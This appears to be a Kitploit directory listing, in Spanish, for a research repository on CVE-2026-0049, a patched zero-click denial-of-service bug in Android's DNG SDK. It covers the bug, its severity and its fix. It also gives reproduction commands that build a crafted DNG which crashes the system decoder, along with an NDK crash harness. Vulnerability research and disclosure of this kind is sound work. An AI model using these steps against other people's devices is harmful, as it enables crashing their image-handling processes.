Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-0049 — PoC y análisis de un DoS zero-click en el SDK de DNG de Android, con muestras DNG manipuladas, un harness de crash para NDK y reproducción del desbordamiento de MapTable mediante UBSan/IntSan. | Kitploit
Herramientas/GitHubGitHub/r3n3r0/cve-2026-0049
Seguridad AndroidGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónAnálisis de BinariosPapers e InvestigaciónAprendizaje y Educación
GitHubr3n3r0/cve-2026-0049

CVE-2026-0049

PoC y análisis de un DoS zero-click en el SDK de DNG de Android, con muestras DNG manipuladas, un harness de crash para NDK y reproducción del desbordamiento de MapTable mediante UBSan/IntSan.

Ver Repositorio
8hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-0049 — DoS de cero clics en Android DNG (desbordamiento de suma en MapTable de dng_sdk)

Material completo de investigación y PoC. Análisis narrativo: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md.

  • Bug: desbordamiento de enteros sin signo en fAreaSpec.Plane() + fAreaSpec.Planes() en dng_opcode_MapTable::ProcessArea (dng_sdk/source/dng_misc_opcodes.cpp:388).
  • Impacto: DoS de cero clics. El IntSan con el que Android compila libdng_sdk.so convierte el desbordamiento en abort() → SIGABRT en el proceso que decodifica el DNG.
  • No es RCE (doble límite en el bucle → sin OOB). Ver §12 de BLOG.md.
  • Severidad: Google (boletín) la declara Critical; NVD/CISA Medium (CVSS 6.2) — dos taxonomías distintas sobre el mismo CVE (§13).
  • Fix: Android Security Bulletin de abril de 2026 (parche 2026-04-01, A-456471290). Dos parches: corrección aritmética en dng_sdk (+ reescrito como -) + allowlist MIME en LocalImageResolver.java que rechaza los DNG (§14).

El artículo detalla también: la ruta completa de generación del PoC (§6), por qué se usó un harness NDK (§7), la diferencia entre las flags UBSan/IntSan -fsanitize=undefined vs =integer, recover/no-recover/trap, full vs minimal runtime (§10), e IntSan vs SafeInt vs MTE (§11).

Estructura

root@kitploit:~
CVE-2026-0049/
├── BLOG.md                       articolo completo — italiano (17 sezioni)
├── BLOG.en.md                    full article — English (17 sections)
├── poc/
│   ├── inject_opcode.py          [PRINCIPALE] inietta OpcodeList2/MapTable in un DNG valido
│   ├── gen_base_dng.py           genera il DNG Bayer valido di base (richiede pidng)
│   ├── make_dng.py               generatore stand-alone (DNG minimale + opcode)
│   └── make_poc_dng.py           primo generatore from-scratch (LinearRaw minimale)
├── harness/
│   ├── decode_poc.c              harness NDK AImageDecoder (crash on-device)
│   └── dng_xmp_stub.cpp          stub XMP per compilare dng_validate su PC
├── samples/
│   ├── valid_poc.dng             PoC funzionante (fa crashare il decoder di sistema)
│   ├── base_benign.dng           controllo benigno (decodifica senza crash)
│   └── poc_minimal.dng           variante minimale from-scratch
└── evidence/
    ├── crash_backtrace.txt       tombstone reale dal Pixel 9
    └── device_analysis.md        analisi binaria libdng_sdk.so + IntSan/SafeInt/MTE

Reproducción rápida

A) DNG malicioso

root@kitploit:~
pip install pidng
python3 poc/gen_base_dng.py base                     # -> base.dng (Bayer valido)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# oppure usa direttamente samples/valid_poc.dng

Detalle crítico: el AreaSpec debe ser no vacía (0,0,H,W); con área vacía el dng_sdk de Android cortocircuita y la decodificación devuelve error sin crash (ver §6.6 de BLOG.md). Porque se necesita un DNG plenamente válido y no uno mínimo: SkRawCodec (decoder de sistema) es más estricto que Glide/Photos y rechaza los DNG sin metadatos de color completos (§2, §6.1).

B) Crash en el dispositivo (harness NDK)

root@kitploit:~
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
    -O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/     # NB: /data/local/tmp, NON /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea

C) Reproducción en PC (sin teléfono) con dng_validate + UBSan

Compila los fuentes de dng_sdk aplicando -fsanitize=integer -fno-sanitize-recover solo a dng_misc_opcodes.cpp (usa harness/dng_xmp_stub.cpp para enlazar sin el SDK de XMP). Luego:

root@kitploit:~
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512

Solo para investigación/docencia. Probado exclusivamente en hardware propio.

Descargar herramienta